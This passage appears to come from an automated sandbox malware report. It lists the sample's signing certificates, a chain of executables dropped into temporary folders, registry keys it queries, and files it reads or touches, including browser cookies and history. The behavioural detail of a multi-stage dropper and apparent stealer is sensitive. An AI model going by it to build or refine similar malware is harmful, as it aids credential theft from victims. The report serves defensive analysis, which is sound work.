G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1B:51:1A:BE:AD:59:C6:CE:20:70:77:C0:BF:0E:00:43:B1:38:26:12; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B7:40:25:17:EE:AA:C8:0A:B0:46:81:18:6E:82:47:BD:78:51:CD:0A; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 73:9A:62:97:AA:CA:61:63:4E:22:B5:79:1C:E8:65:F7:38:6D:44:25; see report for more information)55:T200b,"gF3mD54.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\gF3mD54.exe]- [targetUID: 00000000-00001884] "4em853cx.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP002.TMP\4em853cx.exe]- [targetUID: 00000000-00003232] "oi9NR71.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\oi9NR71.exe]- [targetUID: 00000000-00001884] "3Cf23Ki.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 7 sections"- Location: [%TEMP%\IXP003.TMP\3Cf23Ki.exe]- [targetUID: 00000000-00003660] "ZF2zr63.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\ZF2zr63.exe]- [targetUID: 00000000-00003660] "Cb7yP98.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\Cb7yP98.exe]- [targetUID: 00000000-00003660] "5nB9ui9.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\5nB9ui9.exe]- [targetUID: 00000000-00001884] "1Nd23RF4.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 4 sections"- Location: [%TEMP%\IXP004.TMP\1Nd23RF4.exe]- [targetUID: 00000000-00002836] "2pQ5650.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP004.TMP\2pQ5650.exe]- [targetUID: 00000000-00001864] "6BL1kL7.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\IXP000.TMP\6BL1kL7.exe]- [targetUID: 00000000-00001380] "3248.bat" has type "Unknown"- Location: [%TEMP%\3246.tmp\3247.tmp\3248.bat]- [targetUID: 00000000-00003868] "CBWGISHZGLI8wmKvUcQXclxgo-3469oiGT9DWDYPz6DhfgQe914iiBfD-GevAmvU9KONMKn3YhINqU49pVNahkCkeiF2w9Hlit1_1_.css" has type "Unknown"- [targetUID: N/A] "identifier_1_.htm" has type "Unknown"- [targetUID: N/A] "login_1_.htm" has type "Unknown"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document ASCII text with very long lines (65536) with no line terminators"- [targetUID: N/A] "UQW01DMY.htm" has type "HTML document ASCII text with very long lines (56735) with CRLF line terminators"- [targetUID: N/A] "dinosaur_1_.png" has type "Unknown"- [targetUID: N/A] "F9B1F2429BB2598A170AC8DFE5CFF996" has type "Unknown"- [targetUID: N/A] "75A092F4522006A97542D6AC4F4E69D2" has type "Unknown"- [targetUID: N/A] "595CD0DCED5F6DE43A9C77C525C44511" has type "Unknown"- [targetUID: N/A] "425F9F0DB4A6739FCA824D9831E2A9A6" has type "Unknown"- [targetUID: N/A] "9C69E496D546F49A980D7350EC49A180" has type "Unknown"- [targetUID: N/A] "imagestore.dat" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWub2bVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWubEbVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "ay1hV6OlegS_1_.ico" has type "Unknown"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Unknown"- [targetUID: N/A] "en-US.4" has type "Unknown"- [targetUID: N/A] "~DF89282E8DBDCFB2B3.TMP" has type "Unknown"- [targetUID: N/A] "~DF708A138C291A8B0A.TMP" has type "Unknown"- [targetUID: N/A] "~DF00781500458B5333.TMP" has type "Unknown"- [targetUID: N/A] "~DF7CDEE676F748A61E.TMP" has type "Unknown"- [targetUID: N/A] "~DF7F2899E5939E6587.TMP" has type "Unknown"- [targetUID: N/A] "~DFF0A80987BC2157C9.TMP" has type "Unknown"- [targetUID: N/A] "~DFA02176CC1EE3C41C.TMP" has type "Unknown"- [targetUID: N/A] "~DFAFD85860EBD39F5B.TMP" has type "Unknown"- [targetUID: N/A] "firefox_1_.png" has type "Unknown"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "Unknown"- [targetUID: N/A] "_CB1F44D8-A02A-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "edgium_1_.png" has type "Unknown"- [targetUID: N/A] "chrome_1_.png" has type "Unknown"- [targetUID: N/A] "supported_browsers_1_.htm" has type "Unknown"- [targetUID: N/A] "_D65D8F3D-A029-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "RecoveryStore._29F0D501-A02A-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "RecoveryStore._CB1F44D6-A02A-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "RecoveryStore._D65D8F3B-A029-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "favicon_3_.ico" has type "Unknown"- [targetUID: N/A] "_949B1027-A0B8-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "_B9B07C72-A071-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "_29F0D503-A02A-11F1-9D7B-005056913F69_.dat" has type "Unknown"- [targetUID: N/A] "b_lEtPAUPMI_1_.webp" has type "Unknown"- [targetUID: N/A] "opera_1_.png" has type "Unknown"- [targetUID: N/A] "5341892C458FBD70D290A3F6C0EA9EC1_7EE14905ABAACC5D314503A447F644D0" has type "Unknown"- [targetUID: N/A] "8A7891822FCFF127E4EADADE9757112B" has type "Unknown"- [targetUID: N/A] "B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92" has type "Unknown"- [targetUID: N/A] "8B2B9A00839EED1DFDCCC3BFC2F5DF12" has type "Unknown"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "Unknown"- [targetUID: N/A] "CheckConnection_1_.htm" has type "Unknown"- [targetUID: N/A] "favicon_2_.ico" has type "Unknown"- [targetUID: N/A] "3B7CEBA4139B7484BAF665AC9E712D61" has type "Unknown"- [targetUID: N/A] "05DDC6AA91765AACACDB0A5F96DF8199" has type "Unknown"- [targetUID: N/A] "892580777767344DCAEF580FFA143EA6_EF1B61DD3F93C58DBD0734F13C15C0F6" has type "Unknown"- [targetUID: N/A] "SV9Y7V8F.txt" has type "Unknown"- [targetUID: N/A] "ULE3BMTC.txt" has type "Unknown"- [targetUID: N/A] "9QSOF4IN.txt" has type "Unknown"- [targetUID: N/A] "6DYMXH6G.txt" has type "Unknown"- [targetUID: N/A] "S0YVW1CS.txt" has type "Unknown"- [targetUID: N/A] "NHYN6355.txt" has type "Unknown"- [targetUID: N/A] "FQZ47ELV.txt" has type "Unknown"- [targetUID: N/A] "OMO3WW2D.txt" has type "Unknown"- [targetUID: N/A] "6FNN39GT.txt" has type "Unknown"- [targetUID: N/A] "B46811C17859FFB409CF0E904A4AA8F8" has type "Unknown"- [targetUID: N/A] "X3JQAEBO.txt" has type "Unknown"- [targetUID: N/A] "UZEDZ62P.txt" has type "Unknown"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "Unknown"- [targetUID: N/A] "59D76868C250B3240414CE3EFBB12518_D682E8ABD3D123731FAC47137A2D0C6E" has type "Unknown"- [targetUID: N/A] "6CAFE3B721B7CE350C58A8F3EB28AA44_C4935EE08CAA8E5372EBE50CFA866626" has type "Unknown"- [targetUID: N/A] "NUXI036T.txt" has type "Unknown"- [targetUID: N/A] "26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD" has type "Unknown"- [targetUID: N/A] "T6MNDQFU.txt" has type "Unknown"- [targetUID: N/A] "C30A8653A628E8368A1D33BB7E570E4E" has type "Unknown"- [targetUID: N/A] "PWQO87U2.txt" has type "Unknown"- [targetUID: N/A] "1E2DBD58769A756A24A9D033F9B07F3D" has type "Unknown"- [targetUID: N/A] "9DFE38F0CF4E54F251E86E53D05E8885" has type "Unknown"- [targetUID: N/A] "B54B00CE250A47F2A29BFE4A70858A02" has type "Unknown"- [targetUID: N/A] "BA8E834886E353ED96ACC8AB83273509" has type "Unknown"- [targetUID: N/A] "SPXNYVD3.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "9NUGLK8F.txt" has type "Unknown"- [targetUID: N/A] "favicon_1_.htm" has type "Unknown"- [targetUID: N/A] "UR3QOD7Z.txt" has type "Unknown"- [targetUID: N/A] "DF1PI3H9.txt" has type "Unknown"- [targetUID: N/A] "EU758WLT.txt" has type "Unknown"- [targetUID: N/A] "I7CP1S2U.txt" has type "Unknown"- [targetUID: N/A] "RM8DOT1D.txt" has type "Unknown"- [targetUID: N/A] "ZH7NXXHF.txt" has type "Unknown"- [targetUID: N/A] "JDL0AERC.txt" has type "Unknown"- [targetUID: N/A] "bscframe_1_.htm" has type "Unknown"- [targetUID: N/A] "explothe.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00003888] "KDMSRPS6.txt" has type "Unknown"- [targetUID: N/A]56:Tb94,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")57:T4fd,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 1380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 1380) "gF3mD54.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 1884) "gF3mD54.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 1884) "oi9NR71.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 4376) "oi9NR71.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 4376) "ZF2zr63.exe" queries basic process information of the "C:\Windows\System32\advpack.dll" (UID: 3660) "ZF2zr63.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3660) "Cb7yP98.exe" queries basic process information of the "C:\Users\HAPUBWS\AppData\Local\Temp" (UID: 3620) "1Nd23RF4.exe" queries basic process information of the "C:\Windows\System32\tzres.dll" (UID: 2836) "cmd.exe" queries basic process information of the "C:\Windows\Globalization\Sorting\SortDefault.nls" (UID: 2644)58:T10d8,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "58CBF150847528FA62AD3502E5016F444B6A6409D3202D94702DFBF4FCB761D9"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")59:T5f5,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\gf3md54.exe" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\6bl1kl7.exe" "gF3mD54.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\oi9nr71.exe" "gF3mD54.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\5nb9ui9.exe" "oi9NR71.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\zf2zr63.exe" "oi9NR71.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\4em853cx.exe" "ZF2zr63.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\cb7yp98.exe" "ZF2zr63.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\3cf23ki.exe" "Cb7yP98.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\1nd23rf4.exe" "Cb7yP98.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp004.tmp\2pq5650.exe" "1Nd23RF4.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "1Nd23RF4.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "1Nd23RF4.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "1Nd23RF4.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux"5a:Tc9a,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe.Local\" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Cabinet.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\VERSION.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\SspiCli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\WINSPOOL.DRV" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\MPR.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\MPR.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\UxTheme.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\WINMM.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\samcli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\samcli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\MSACM32.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to touch file "C:\Windows\system32\MSACM32.dll"5b:T4b6,"5nB9ui9.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "5nB9ui9.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "explothe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "explothe.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "explothe.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "6BL1kL7.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "6BL1kL7.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches"5c:Td25,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\Cabinet.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\VERSION.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\SspiCli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\MPR.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\UxTheme.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\WINMM.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\samcli.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\MSACM32.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\sfc.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\sfc_os.DLL" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\dwmapi.dll" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\gF3mD54.exe" 